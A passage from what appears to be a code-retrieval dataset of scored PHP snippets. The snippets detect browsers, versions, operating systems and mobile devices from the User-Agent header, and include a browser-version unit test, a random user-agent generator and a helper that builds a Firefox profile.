\"firefox\", $ua_ok ) && eregi( \"[1]\\.[8]\\.[1]\\.[1]\", $ua_ok ) ) ||\r\n\t\t\t\t\t(eregi( \"Linux\", $ua_ok ) && eregi( \"firefox\", $ua_ok ) && eregi( \"[1]\\.[0]\\.[7]\", $ua_ok ) ) ||\r\n\t\t\t\t\t(eregi( \"Linux\", $ua_ok ) && eregi( \"firefox\", $ua_ok ) && eregi( \"[1]\\.[5]\\.[0]\", $ua_ok ) ) ||\r\n\t\t\t\t\t(eregi( \"Linux\", $ua_ok ) && eregi( \"mozilla\", $ua_ok ) && eregi( \"rv:[1]\\.[7]\\.[12]\", $ua_ok ) )\r\n\t\t\t\t );\r\n\t}", "title": "" }, { "docid": "5e79c2605ae6beb19bf6e698e459ff6a", "score": "0.6220065", "text": "function GetOS() { \n global $user_agent;\n $os_platform=\"Unknown OS Platform\";\n $os_array=array(\n '/windows nt 10/i' => 'Windows 10',\n '/windows nt 6.3/i' => 'Windows 8.1',\n '/windows nt 6.2/i' => 'Windows 8',\n '/windows nt 6.1/i' => 'Windows 7',\n '/windows nt 6.0/i' => 'Windows Vista',\n '/windows nt 5.2/i' => 'Windows Server 2003/XP x64',\n '/windows nt 5.1/i' => 'Windows XP',\n '/windows xp/i' => 'Windows XP',\n '/windows nt 5.0/i' => 'Windows 2000',\n '/windows me/i' => 'Windows ME',\n '/win98/i' => 'Windows 98',\n '/win95/i' => 'Windows 95',\n '/win16/i' => 'Windows 3.11',\n '/macintosh|mac os x/i' => 'Mac OS X',\n '/mac_powerpc/i' => 'Mac OS 9',\n '/linux/i' => 'Linux',\n '/ubuntu/i' => 'Ubuntu',\n '/iphone/i' => 'iPhone',\n '/ipod/i' => 'iPod',\n '/ipad/i' => 'iPad',\n '/android/i' => 'Android',\n '/blackberry/i' => 'BlackBerry',\n '/webos/i' => 'Mobile');\n foreach ($os_array as $regex => $value) { \n if (preg_match($regex, $user_agent)) {\n $os_platform = $value;\n }\n } \n return $os_platform;\n}", "title": "" }, { "docid": "00052a1048b3a0e734ef39196161ea54", "score": "0.62016916", "text": "function getBrowser()\r\n {\r\n //Gets the name of the web browser the user is using from the web server\r\n $u_agent = $_SERVER['HTTP_USER_AGENT'];\r\n //Declares variable\r\n $ub = \"\";\r\n\r\n //Checks if the web browser name matches the name '/MSIE/i'\r\n if (preg_match('/MSIE/i',$u_agent))\r\n {\r\n //Stores the browser name\r\n $ub = \"Internet Explorer\";\r\n }\r\n\r\n //Checks if the web browser name matches the name '/Edge/i'\r\n elseif (preg_match('/Edge/i',$u_agent))\r\n {\r\n //Stores the browser name \r\n $ub = \"Microsoft Edge\";\r\n }\r\n\r\n //Checks if the web browser name matches the name '/WOW64/i'\r\n elseif (preg_match('/WOW64/i',$u_agent))\r\n {\r\n //Stores the browser name \r\n $ub = \"Internet Eplorer 11+\";\r\n }\r\n\r\n //Checks if the web browser name matches the name '/Firefox/i'\r\n elseif (preg_match('/Firefox/i',$u_agent))\r\n {\r\n //Stores the browser name \r\n $ub = \"Mozilla Firefox\";\r\n }\r\n\r\n //Checks if the web browser name matches the name '/Chrome/i'\r\n elseif (preg_match('/Chrome/i',$u_agent))\r\n {\r\n //Stores the browser name \r\n $ub = \"Google Chrome\";\r\n }\r\n\r\n //Checks if the web browser name matches the name '/Safari/i'\r\n elseif (preg_match('/Safari/i',$u_agent))\r\n {\r\n //Stores the browser name\r\n $ub = \"Safari\";\r\n }\r\n\r\n //Returns and displays the name of the browser stored in the variable $ub\r\n return $ub;\r\n }", "title": "" }, { "docid": "96ac8b27aa164ef95aa7cc2e6c0a4d71", "score": "0.6180847", "text": "function _isBrowserMacFF($ua_ok) {\r\n\t\t return ( (eregi( \"Macintosh\", $ua_ok ) && eregi( \"firefox\", $ua_ok ) && eregi( \"rv:[1]\\.[7]\\.[5]\", $ua_ok ) && eregi( \"[1]\\.[0]\", $ua_ok ) ) ||\r\n\t\t\t\t\t(eregi( \"Macintosh\", $ua_ok ) && eregi( \"firefox\", $ua_ok ) && eregi( \"[1]\\.[0]\\.[7]\", $ua_ok ) ) ||\r\n\t\t\t\t\t(eregi( \"Macintosh\", $ua_ok ) && eregi( \"firefox\", $ua_ok ) && eregi( \"[1]\\.[5]\\.[0]\", $ua_ok ) ) ||\r\n\t\t\t\t\t(eregi( \"Macintosh\", $ua_ok ) && eregi( \"firefox\", $ua_ok ) && eregi( \"[1]\\.[8]\\.[1]\", $ua_ok ) ) ||\r\n\t\t\t\t\t(eregi( \"Macintosh\", $ua_ok ) && eregi( \"firefox\", $ua_ok ) && eregi( \"[1]\\.[9]\", $ua_ok ) ) ||\r\n\t\t\t\t\t(eregi( \"Macintosh\", $ua_ok ) && eregi( \"mozilla\", $ua_ok ) && eregi( \"rv:[1]\\.[7]\\.[12]\", $ua_ok ) ) ||\r\n\t\t\t\t\t(eregi( \"Macintosh\", $ua_ok ) && eregi( \"mozilla\", $ua_ok ) && eregi( \"rv:[1]\\.[6]\", $ua_ok ) ) ||\r\n\t\t\t\t\t(eregi( \"Macintosh\", $ua_ok ) && eregi( \"netscape\", $ua_ok ) && eregi( \"[7]\\.[2]\", $ua_ok ) )\r\n\t\t\t\t );\r\n\t}", "title": "" }, { "docid": "3a1179e3ad66e15d101b2cb18aa3a825", "score": "0.6180581", "text": "function get_user_agent()\n{\n $ret = array();\n $ret['browser'] = 'Unknown';\n $ret['version'] = 'Unknown';\n $ret['user_os'] = 'Unknown';\n\n // get browser\n preg_match('/(MSIE|Safari|Firefox|Opera)/i', $_SERVER['HTTP_USER_AGENT'], $browser_matches);\n\n if (count($browser_matches) > 0)\n {\n $ret['browser'] = $browser_matches[0];\n }\n\n switch($ret['browser'])\n {\n case 'MSIE':\n preg_match('/MSIE ([0-9.]*)/i', $_SERVER['HTTP_USER_AGENT'], $version_matches);\n $ret['version'] = $version_matches[1];\n break;\n case 'Firefox':\n preg_match('/Firefox[ \\/]([0-9.]*)/i', $_SERVER['HTTP_USER_AGENT'], $version_matches);\n $ret['version'] = $version_matches[1];\n break;\n case 'Opera':\n preg_match('/Opera[ \\/]([0-9.]*)/i', $_SERVER['HTTP_USER_AGENT'], $version_matches);\n $ret['version'] = $version_matches[1];\n break;\n case 'Safari':\n // Safari's versioning is more like build numbers, actual version seems to be added to 3 and higher\n // while it may be Safari 3.0.1 the return string will be 522.12.2\n preg_match('/Safari\\/([0-9.]*)/i', $_SERVER['HTTP_USER_AGENT'], $version_matches);\n $ret['version'] = $version_matches[1];\n break;\n ## chrome can be mis-read as safari\n }\n\n // get OS\n preg_match('/(Windows|Mac)/i', $_SERVER['HTTP_USER_AGENT'], $os_matches);\n\n if (count($os_matches) > 0)\n {\n $ret['user_os'] = $os_matches[0];\n }\n\n // return array\n return $ret;\n}", "title": "" }, { "docid": "0d6db6a046e40249b89e06c07e7228b8", "score": "0.6160997", "text": "function getBrowser()\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$u_agent = $_SERVER[\"HTTP_USER_AGENT\"];\n\t\t\t\t\t\t\t$ub = \"\";\n\t\t\t\t\t\t\t/*preg_match() is a php function that will look for a match within a string. It will only match once even if it finds multiple matchs in a string.*/\n\t\t\t\t\t\t\tif (preg_match(\"/Opera/i\",$u_agent))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$ub = \"Your browser is Opera\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telseif (preg_match(\"/Firefox/i\",$u_agent))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$ub = \"Your browser is Firefox\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telseif (preg_match(\"/MSIE/i\",$u_agent))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$ub = \"Your browser is Internet Explorer\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telseif (preg_match(\"/Chrome/i\",$u_agent))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$ub = \"Your browser is Chrome\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse \n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tEcho \"Go download a decent browser you fool\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\treturn $ub;\n\t\t\t\t\t\t}", "title": "" }, { "docid": "0d6db6a046e40249b89e06c07e7228b8", "score": "0.6160997", "text": "function getBrowser()\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$u_agent = $_SERVER[\"HTTP_USER_AGENT\"];\n\t\t\t\t\t\t\t$ub = \"\";\n\t\t\t\t\t\t\t/*preg_match() is a php function that will look for a match within a string. It will only match once even if it finds multiple matchs in a string.*/\n\t\t\t\t\t\t\tif (preg_match(\"/Opera/i\",$u_agent))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$ub = \"Your browser is Opera\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telseif (preg_match(\"/Firefox/i\",$u_agent))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$ub = \"Your browser is Firefox\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telseif (preg_match(\"/MSIE/i\",$u_agent))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$ub = \"Your browser is Internet Explorer\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telseif (preg_match(\"/Chrome/i\",$u_agent))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$ub = \"Your browser is Chrome\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse \n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tEcho \"Go download a decent browser you fool\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\treturn $ub;\n\t\t\t\t\t\t}", "title": "" }, { "docid": "3da5df3b13d24140fd530fab63526619", "score": "0.61193967", "text": "function test_check_browser_version()\n {\n global $CFG;\n \n $_SERVER['HTTP_USER_AGENT'] = $this->user_agents['Safari']['2.0']['Mac OS X']; \n $this->assertTrue(check_browser_version('Safari', '312'));\n $this->assertFalse(check_browser_version('Safari', '500'));\n \n $_SERVER['HTTP_USER_AGENT'] = $this->user_agents['Opera']['9.0']['Windows XP'];\n $this->assertTrue(check_browser_version('Opera', '8.0'));\n $this->assertFalse(check_browser_version('Opera', '10.0'));\n \n $_SERVER['HTTP_USER_AGENT'] = $this->user_agents['MSIE']['6.0']['Windows XP SP2'];\n $this->assertTrue(check_browser_version('MSIE', '5.0'));\n $this->assertFalse(check_browser_version('MSIE', '7.0'));\n \n $_SERVER['HTTP_USER_AGENT'] = $this->user_agents['Firefox']['2.0']['Windows XP'];\n $this->assertTrue(check_browser_version('Firefox', '1.5'));\n $this->assertFalse(check_browser_version('Firefox', '3.0')); \n }", "title": "" }, { "docid": "c0ab6e8e48f165d959f02bf407eee7f3", "score": "0.6079602", "text": "function getOS() {\n\n global $user_agent;\n\n $os_platform = \"Unknown OS Platform\";\n\n $os_array = array(\n '/windows nt 10/i' => 'Windows 10',\n '/windows nt 6.3/i' => 'Windows 8.1',\n '/windows nt 6.2/i' => 'Windows 8',\n '/windows nt 6.1/i' => 'Windows 7',\n '/windows nt 6.0/i' => 'Windows Vista',\n '/windows nt 5.2/i' => 'Windows Server 2003/XP x64',\n '/windows nt 5.1/i' => 'Windows XP',\n '/windows xp/i' => 'Windows XP',\n '/windows nt 5.0/i' => 'Windows 2000',\n '/windows me/i' => 'Windows ME',\n '/win98/i' => 'Windows 98',\n '/win95/i' => 'Windows 95',\n '/win16/i' => 'Windows 3.11',\n '/macintosh|mac os x/i' => 'Mac OS X',\n '/mac_powerpc/i' => 'Mac OS 9',\n '/linux/i' => 'Linux',\n '/ubuntu/i' => 'Ubuntu',\n '/iphone/i' => 'iPhone',\n '/ipod/i' => 'iPod',\n '/ipad/i' => 'iPad',\n '/android/i' => 'Android',\n '/blackberry/i' => 'BlackBerry',\n '/webos/i' => 'Mobile'\n );\n\n foreach ($os_array as $regex => $value) {\n\n if (preg_match($regex, $user_agent)) {\n $os_platform = $value;\n }\n\n }\n\n return $os_platform;\n\n}", "title": "" }, { "docid": "30161ba6e25cf9403919a24ca85f7eff", "score": "0.60603184", "text": "private function detect() {\n// $browser = array(\"IE\", \"OPERA\", \"MOZILLA\", \"NETSCAPE\", \"FIREFOX\", \"SAFARI\", \"CHROME\");\n $os = array(\"WIN\", \"MAC\", \"LINUX\");\n\n # definimos unos valores por defecto para el navegador y el sistema operativo\n// $info['browser'] = \"OTHER\";\n $info['os'] = \"OTHER\";\n\n # buscamos el navegador con su sistema operativo\n// foreach ($browser as $parent) {\n// $s = strpos(strtoupper($_SERVER['HTTP_USER_AGENT']), $parent);\n// $f = $s + strlen($parent);\n// $version = substr($_SERVER['HTTP_USER_AGENT'], $f, 15);\n// $version = preg_replace('/[^0-9,.]/', '', $version);\n// if ($s) {\n// $info['browser'] = $parent;\n// $info['version'] = $version;\n// }\n// }\n # obtenemos el sistema operativo\n foreach ($os as $val) {\n if (strpos(strtoupper($_SERVER['HTTP_USER_AGENT']), $val) !== false)\n $info['os'] = $val;\n }\n\n # devolvemos el array de valores\n return $info;\n }", "title": "" }, { "docid": "069f9f86342b4a0d0d41bb05ad9258e7", "score": "0.59865487", "text": "function browserIsPDA ()\n\t{\n\t\t// Perhaps add check for PPC and Windows CE?\n\t\treturn (\n\t\t\tstrstr($_SERVER['HTTP_USER_AGENT'],'BlackBerry') ||\n\t\t\tstrstr($_SERVER['HTTP_USER_AGENT'],'Smartphone') ||\n\t\t\tstrstr($_SERVER['HTTP_USER_AGENT'],'Palm') ||\n\t\t\tstrstr($_SERVER['HTTP_USER_AGENT'],'Symbian') ||\n\t\t\tstrstr($_SERVER['HTTP_USER_AGENT'],'SonyEricsson') ||\n\t\t\tstrstr($_SERVER['HTTP_USER_AGENT'],'SHARP') ||\n\t\t\tstrstr($_SERVER['HTTP_USER_AGENT'],'240x320')\n\t\t);\n\t}", "title": "" }, { "docid": "99c70ed186e42ec355276bd889a4f6a8", "score": "0.59694", "text": "function windows_os()\n {\n return strtolower(substr(PHP_OS, 0, 3)) === 'win';\n }", "title": "" }, { "docid": "99c70ed186e42ec355276bd889a4f6a8", "score": "0.59694", "text": "function windows_os()\n {\n return strtolower(substr(PHP_OS, 0, 3)) === 'win';\n }", "title": "" }, { "docid": "cff4873bedc6dabccf924b41d4f2712d", "score": "0.5960958", "text": "function getVerBrowser() {\n $browser = getenv('HTTP_USER_AGENT');\n preg_match(\"/(MSIE|OPR|Opera|Firefox|Chrome|Version|Opera Mini|Netscape|Konqueror|SeaMonkey|Camino|Minefield|Iceweasel|K-Meleon|Maxthon)(?:\\/| )([0-9.]+)/\", $browser, $browser_info);\n list($agent, $version) = $browser_info;\n if( preg_match('|Safari|', $browser) ) {\n if( preg_match('|Version|', $browser ) ) {\n $version = preg_match('|Version/(.*) |', $browser, $arr );\n return \"Safari ver. {$arr[1]}\";\n } elseif( preg_match('|OPR|', $browser ) ) {\n $version = preg_match('|OPR/(.*)|', $browser, $arr );\n return \"Opera ver. {$arr[1]}\";\n } else {\n $version = preg_match('|Chrome/(.*) |', $browser, $arr );\n return \"Chrome ver. {$arr[1]}\";\n }\n } elseif( preg_match('|Firefox|', $browser ) ) {\n $version = preg_match('|Firefox/(.*)|', $browser, $arr );\n return \"Firefox ver. {$arr[1]}\";\n } elseif( preg_match('|Opera|', $browser ) ) {\n $version = preg_match('|Version/(.*)|', $browser, $arr );\n return \"Opera ver. {$arr[1]}\";\n } elseif( preg_match('|MSIE|', $browser ) ) {\n $version = preg_match('|MSIE ([\\d\\.]*)|i', $browser, $arr );\n return \"Internet Explorer ver. {$arr[1]}\";\n }\n return $agent.\" ver. \".$version;\n}", "title": "" }, { "docid": "b4a22327019a36fc5871bf08f29c49e1", "score": "0.5882671", "text": "function is_browser($http_user_agent) {\n\t\tif (strstr($http_user_agent, 'Opera Mini')) {\n\t\t\treturn false;\t\n\t\t}\n\t\telse {\n\t\t\tif (strstr($http_user_agent, 'Windows NT 6.0') || strstr($http_user_agent, 'Macintosh') || strstr($http_user_agent, 'i686') || strstr($http_user_agent, 'Konqueror') || strstr($http_user_agent, 'Wget') || strstr($http_user_agent, 'Lynx')) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tif (strstr($http_user_agent, 'Windows NT 5.1') && strstr($http_user_agent,'Mozilla')) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "97d624b46cf57e0ff006ff158a28ee7a", "score": "0.58661526", "text": "function browser() {\n\n\t\t\t$user_agent = $_SERVER['HTTP_USER_AGENT'];\n\n\t\t\t$browsers = array('Chrome' => array('Google Chrome', 'Chrome/(.*)\\s'), 'MSIE' => array('Internet Explorer', 'MSIE\\s([0-9\\.]*)'), 'Firefox' => array('Firefox', 'Firefox/([0-9\\.]*)'), 'Safari' => array('Safari', 'Version/([0-9\\.]*)'), 'Opera' => array('Opera', 'Version/([0-9\\.]*)'));\n\n\t\t\n\n\t\t\t$browser_details = array();\n\n\t\t\n\n\t\t\tforeach ($browsers as $browser => $browser_info) {\n\n\t\t\t\tif (preg_match('@' . $browser . '@i', $user_agent)) {\n\n\t\t\t\t\t$browser_details['name'] = $browser_info[0];\n\n\t\t\t\t\tpreg_match('@' . $browser_info[1] . '@i', $user_agent, $version);\n\n\t\t\t\t\t$browser_details['version'] = $version[1];\n\n\t\t\t\t\tbreak;\n\n\t\t\t\t} else {\n\n\t\t\t\t\t$browser_details['name'] = 'Unknown';\n\n\t\t\t\t\t$browser_details['version'] = 'Unknown';\n\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\treturn 'Browser: ' . $browser_details['name'] . ' Version: ' . $browser_details['version'];\n\n\t}", "title": "" }, { "docid": "4ca3d89a77681e048a768ccb73d4c29a", "score": "0.5862639", "text": "function getUserBrowser()\n{\n $useragent = $_SERVER ['HTTP_USER_AGENT']; \n return $useragent;\n}", "title": "" }, { "docid": "4820fca1cc73d76b80d330c4b31d9c2b", "score": "0.58548576", "text": "function ReturnBrowsers() {\r\n\t\t\t/* You also may need to change the function getBrowser() */\r\n\t\t\t$arr_browser = array('firefox' => 'Mozilla Firefox', 'chrome' => 'Google Chrome', 'msie' => 'Microsoft Internet Explorer', 'opera' => 'Opera', 'safari' => 'Apple Safari');\r\n\t\t\treset($arr_browser);\r\n\t\t\treturn $arr_browser;\r\n\t\t}", "title": "" }, { "docid": "ed480d5c9ef63859deb1dcd7c350fe38", "score": "0.5851586", "text": "private function checkBrowserInternetExplorer() {\n if (stripos($this->userAgentString, 'microsoft internet explorer') !== false) {\n $this->browser = self::BROWSER_IE;\n $this->setBrowserVersionString('1.0');\n $aresult = stristr($this->userAgentString, '/');\n if (preg_match('/308|425|426|474|0b1/i', $aresult)) {\n $this->setBrowserVersionString('1.5');\n }\n return true;\n }\n // Test for versions > 1.5\n else if (stripos($this->userAgentString, 'msie') !== false && stripos($this->userAgentString, 'opera') === false) {\n $aresult = explode(' ', stristr(str_replace(';', '; ', $this->userAgentString), 'msie'));\n $this->browser = self::BROWSER_IE;\n $this->setBrowserVersionString(str_replace(array('(', ')', ';'), '', $aresult[1]));\n return true;\n }\n // Test for Pocket IE\n else if (stripos($this->userAgentString, 'mspie') !== false || stripos($this->userAgentString, 'pocket') !== false) {\n $aresult = explode(' ', stristr($this->userAgentString, 'mspie'));\n $this->operatingSystem = self::OS_WINDOWS_CE;\n $this->browser = self::BROWSER_POCKET_IE;\n $this->mobile = true;\n\n if (stripos($this->userAgentString, 'mspie') !== false) {\n $this->setBrowserVersionString($aresult[1]);\n } else {\n $aversion = explode('/', $this->userAgentString);\n $this->setBrowserVersionString($aversion[1]);\n }\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "79eac47a913a87418c4225fc30e13b75", "score": "0.58503985", "text": "function is_ie52mac()\n{\n $ret = false;\n\n // Get the HTTP User Agent info. Becomes the $ua variable\n $ua = $_SERVER['HTTP_USER_AGENT'];\n\n // Mac Internet Explorer 5.2\n if(eregi(\"Mac\", $ua) && eregi(\"msie\", $ua) && eregi(\"5\\.2[0-9]\", $ua))\n {\n $ret = true;\n }\n\n return $ret;\n}", "title": "" }, { "docid": "84f2911c0126105afdb1ac3273a55adb", "score": "0.58445024", "text": "public function sistema_operativo(){\n\t\t$useragent = $_SERVER['HTTP_USER_AGENT'];\n\t\tif (strstr($useragent,'Win')) {\n\t\t\t$os='Windows';\n\t\t} else if (strstr($useragent,'Mac')) {\n\t\t\t$os='Mac';\n\t\t} else if (strstr($useragent,'Linux')) {\n\t\t\t$os='Linux';\n\t\t} else if (strstr($useragent,'Unix')) {\n\t\t\t$os='Unix';\n\t\t} else {\n\t\t\t$os='Altro';\n\t\t}\n\t\t\n\t\treturn $os;\n\t}", "title": "" }, { "docid": "b7d04acc68dd127492b7251b7db4a211", "score": "0.58358705", "text": "private function chrome()\n\t{\n\t\t$version = mt_rand(42, 66) . '.0.' . mt_rand(2500, 3300) . '.' . mt_rand(0, 199);\n\n\t\tswitch ($this->platform) {\n\t\t\tcase self::WINDOWS:\n\t\t\t\t$architectures = [\n\t\t\t\t\t'', '; WOW64', '; Win64; x64', '; Win64',\n\t\t\t\t];\n\n\t\t\t\treturn 'Mozilla/5.0 (' . $this->getWindowsNT() . $architectures[mt_rand(0, count($architectures) - 1)] . ') AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' . $version . ' Safari/537.36';\n\n\t\t\tcase self::LINUX:\n\t\t\t\t$systems = [\n\t\t\t\t\t'', ' Ubuntu Chromium/' . $version,\n\t\t\t\t];\n\n\t\t\t\t$languages = [\n\t\t\t\t\t'', '; ' . $this->getLanguageCode(),\n\t\t\t\t];\n\n\t\t\t\treturn 'Mozilla/5.0 (X11; ' . ((mt_rand(0, 10) > 7) ? 'U; ' : '') . $this->getLinux() . $languages[mt_rand(0, count($languages) - 1)] . ') AppleWebKit/537.36 (KHTML, like Gecko)' . $systems[mt_rand(0, count($systems) - 1)] . ' Chrome/' . $version . ' Safari/537.36';\n\n\t\t\tcase self::MAC_OS:\n\t\t\t\t$extras = [\n\t\t\t\t\t'', ' OPR/' . mt_rand(44, 49) . '.0.' . mt_rand(2200, 2500) . '.' . mt_rand(10, 199),\n\t\t\t\t];\n\n\t\t\t\treturn 'Mozilla/5.0 (Macintosh; ' . $this->getMac() . ' Mac OS X 10_' . mt_rand(5, 15) . '_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' . $version . ' Safari/537.36' . $extras[mt_rand(0, count($extras) - 1)];\n\t\t}\n\t}", "title": "" }, { "docid": "b9bc6f79a4051b38e536dabb14611ce2", "score": "0.5823505", "text": "function browserIsNetscape ()\n\t{\n\t\treturn $this->browserIsMozilla ();\n\t}", "title": "" }, { "docid": "3e8fff86da2b75232cd7a06c74c8bd08", "score": "0.58054274", "text": "private function ie()\n\t{\n\t\t$architectures = [\n\t\t\t'', 'WOW64; ', 'Win64; x64; ', 'Win64; ',\n\t\t];\n\n\t\t$extras = [\n\t\t\t'',\n\t\t\t'; .NET CLR 1.1.' . rand(4320, 4325),\n\t\t\t'; WOW64',\n\t\t\t'; SLCC2; Media Center PC 6.0; InfoPath.3',\n\t\t\t'; .NET CLR 1.1.' . mt_rand(1000, 5000) . '; .NET CLR 2.0.' . mt_rand(1000, 6000),\n\t\t\t'; SLCC2; .NET CLR 2.' . mt_rand(50000, 55000) . '; .NET CLR 3.5.' . mt_rand(30000, 35000) . '; .NET CLR 3.' . mt_rand(30000, 35000) . '; .NET4.0C; .NET4.0E',\n\t\t\t'; SLCC2; .NET CLR 2.0.' . mt_rand(50000, 55000) . '; .NET CLR 3.5.30729; .NET CLR 3.0.' . mt_rand(30000, 35000) . '; Media Center PC 6.0; .NET4.0C; InfoPath.3; .NET4.0E',\n\t\t];\n\n\t\treturn 'Mozilla/5.0 (compatible; MSIE ' . mt_rand(7, 9) . '.0; ' . $this->getWindowsNT() . '; ' . $architectures[mt_rand(0, count($architectures) - 1)] . 'Trident/' . mt_rand(3, 7) . '.0' . $extras[mt_rand(0, count($extras) - 1)] . ')';\n\t}", "title": "" }, { "docid": "15d9b07f8b84244ab1d3662b5fe6d1ee", "score": "0.57979876", "text": "function DetectOS($user_agent)\r\n {\r\n $OSList = array\r\n (\r\n 'Windows 3.11' => 'Win16',\r\n\r\n 'Windows 95' => '(Windows 95)|(Win95)|(Windows_95)',\r\n\r\n 'Windows 98' => '(Windows 98)|(Win98)',\r\n\r\n 'Windows 2000' => '(Windows NT 5\\.0)|(Windows 2000)',\r\n\r\n 'Windows XP' => '(Windows NT 5\\.1)|(Windows XP)',\r\n\r\n 'Windows Server 2003' => '(Windows NT 5\\.2)',\r\n\r\n 'Windows Vista' => '(Windows NT 6\\.0)',\r\n\r\n 'Windows 7' => '(Windows NT 7\\.0)|(Windows NT 6\\.1)',\r\n \r\n 'Windows 8' => '(Windows NT 6\\.2)',\r\n\r\n 'Windows NT 4.0' => '(Windows NT 4\\.0)|(WinNT4\\.0)|(WinNT)|(Windows NT)',\r\n\r\n 'Windows ME' => '(Windows 98)|(Win 9x 4\\.90)|(Windows ME)',\r\n\r\n 'Open BSD' => 'OpenBSD',\r\n\r\n 'Sun OS' => 'SunOS',\r\n\r\n 'Linux' => '(Linux)|(X11)',\r\n\r\n 'Mac OS' => '(Mac_PowerPC)|(Macintosh)',\r\n\r\n 'QNX' => 'QNX',\r\n\r\n 'BeOS' => 'BeOS',\r\n\r\n 'OS/2' => 'OS/2',\r\n\r\n 'Search Bot'=>'(nuhk)|(Googlebot)|(Yammybot)|(Openbot)|(Slurp)|(MSNBot)|(Ask Jeeves/Teoma)|(ia_archiver)'\r\n );\r\n\r\n foreach($OSList as $CurrOS=>$Match)\r\n {\r\n if (preg_match(\"#$Match#i\", $user_agent))\r\n {\r\n break;\r\n }\r\n }\r\n\r\n return $CurrOS; \r\n }", "title": "" }, { "docid": "3dfbb348dd341208705dd401669815de", "score": "0.5780712", "text": "function get_browser_info() {\n\t\treturn _class('client_utils', 'classes/common/')->_get_browser_info();\n\t}", "title": "" }, { "docid": "1de12e4593ec829278fb8e6419e5387e", "score": "0.57727945", "text": "public function useragent() {\n\n $testString = \"Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_4 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B350 Safari/8536.25\";\n $para = \"general.useragent.override\";\n\n shell_exec(\"mkdir firefox-profile\");\n shell_exec(\"cd ./firefox-profile && echo 'user_pref(\\\"$para\\\", \\\"$testString\\\");' >> prefs.js && zip -r ../firefox-profile *\");\n $data = file_get_contents('firefox-profile.zip');\n shell_exec(\"rm -rf firefox-profile && rm firefox-profile.zip\");\n return base64_encode($data);\n\n }", "title": "" }, { "docid": "fc3542c9321995f3a815879ab84284f3", "score": "0.57719254", "text": "private function getWindowsNT()\n\t{\n\t\treturn 'Windows NT ' . mt_rand(5, 10) . '.' . mt_rand(0, 1);\n\t}", "title": "" }, { "docid": "95a849924305df0dc25cb6868aeeebc4", "score": "0.57359064", "text": "function get_browser_name($user_agent){\n $t = strtolower($user_agent);\n $t = \" \" . $t;\n if (strpos($t, 'opera' ) || strpos($t, 'opr/') ) return 'Opera' ;\n elseif (strpos($t, 'edge' ) ) return 'Edge' ;\n elseif (strpos($t, 'chrome' ) ) return 'Chrome' ;\n elseif (strpos($t, 'safari' ) ) return 'Safari' ;\n elseif (strpos($t, 'firefox' ) ) return 'Firefox' ;\n elseif (strpos($t, 'msie' ) || strpos($t, 'trident/7')) return 'Internet Explorer';\n return 'Unkown';\n}", "title": "" }, { "docid": "1c904b1e117ef09b0bd8ff723e53aaaa", "score": "0.5728021", "text": "function get_browser_current_versions() {\n\treturn array(\n\t\t'Chrome' => '18', // Lowest version at the moment (mobile)\n\t\t'Firefox' => '16',\n\t\t'Opera' => '12.11',\n\t\t'Safari' => '5',\n\t\t'Internet Explorer' => '9', // Left at 9 until Windows 7 adopts 10\n\t);\n}", "title": "" }, { "docid": "32aca0eece0223a042760f6c8753c83b", "score": "0.5719718", "text": "public static function detectPlatform()\r\n {\r\n\r\n $tablet_browser = 0;\r\n $mobile_browser = 0;\r\n\r\n if (preg_match('/(tablet|ipad|playbook)|(android(?!.*(mobi|opera mini)))/i', strtolower(@$_SERVER['HTTP_USER_AGENT']))) {\r\n $tablet_browser++;\r\n }\r\n\r\n if (preg_match('/(up.browser|up.link|mmp|symbian|smartphone|midp|wap|phone|android|iemobile)/i', strtolower(@$_SERVER['HTTP_USER_AGENT']))) {\r\n $mobile_browser++;\r\n }\r\n\r\n if ((strpos(strtolower(@$_SERVER['HTTP_ACCEPT']), 'application/vnd.wap.xhtml+xml') > 0) or ((isset($_SERVER['HTTP_X_WAP_PROFILE']) or isset($_SERVER['HTTP_PROFILE'])))) {\r\n $mobile_browser++;\r\n }\r\n\r\n $mobile_ua = strtolower(substr(@$_SERVER['HTTP_USER_AGENT'], 0, 4));\r\n $mobile_agents = array(\r\n 'w3c ', 'acs-', 'alav', 'alca', 'amoi', 'audi', 'avan', 'benq', 'bird', 'blac',\r\n 'blaz', 'brew', 'cell', 'cldc', 'cmd-', 'dang', 'doco', 'eric', 'hipt', 'inno',\r\n 'ipaq', 'java', 'jigs', 'kddi', 'keji', 'leno', 'lg-c', 'lg-d', 'lg-g', 'lge-',\r\n 'maui', 'maxo', 'midp', 'mits', 'mmef', 'mobi', 'mot-', 'moto', 'mwbp', 'nec-',\r\n 'newt', 'noki', 'palm', 'pana', 'pant', 'phil', 'play', 'port', 'prox',\r\n 